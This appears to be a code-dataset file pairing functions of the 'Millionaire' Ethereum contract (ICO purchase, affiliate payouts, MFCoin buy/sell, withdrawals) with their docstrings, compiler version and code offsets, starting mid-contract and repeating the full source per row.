uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | updateGenVault | function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
| /**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
13281,
13742
]
} | 6,958 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | buyMFCoins | function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
| /**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
13868,
14238
]
} | 6,959 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
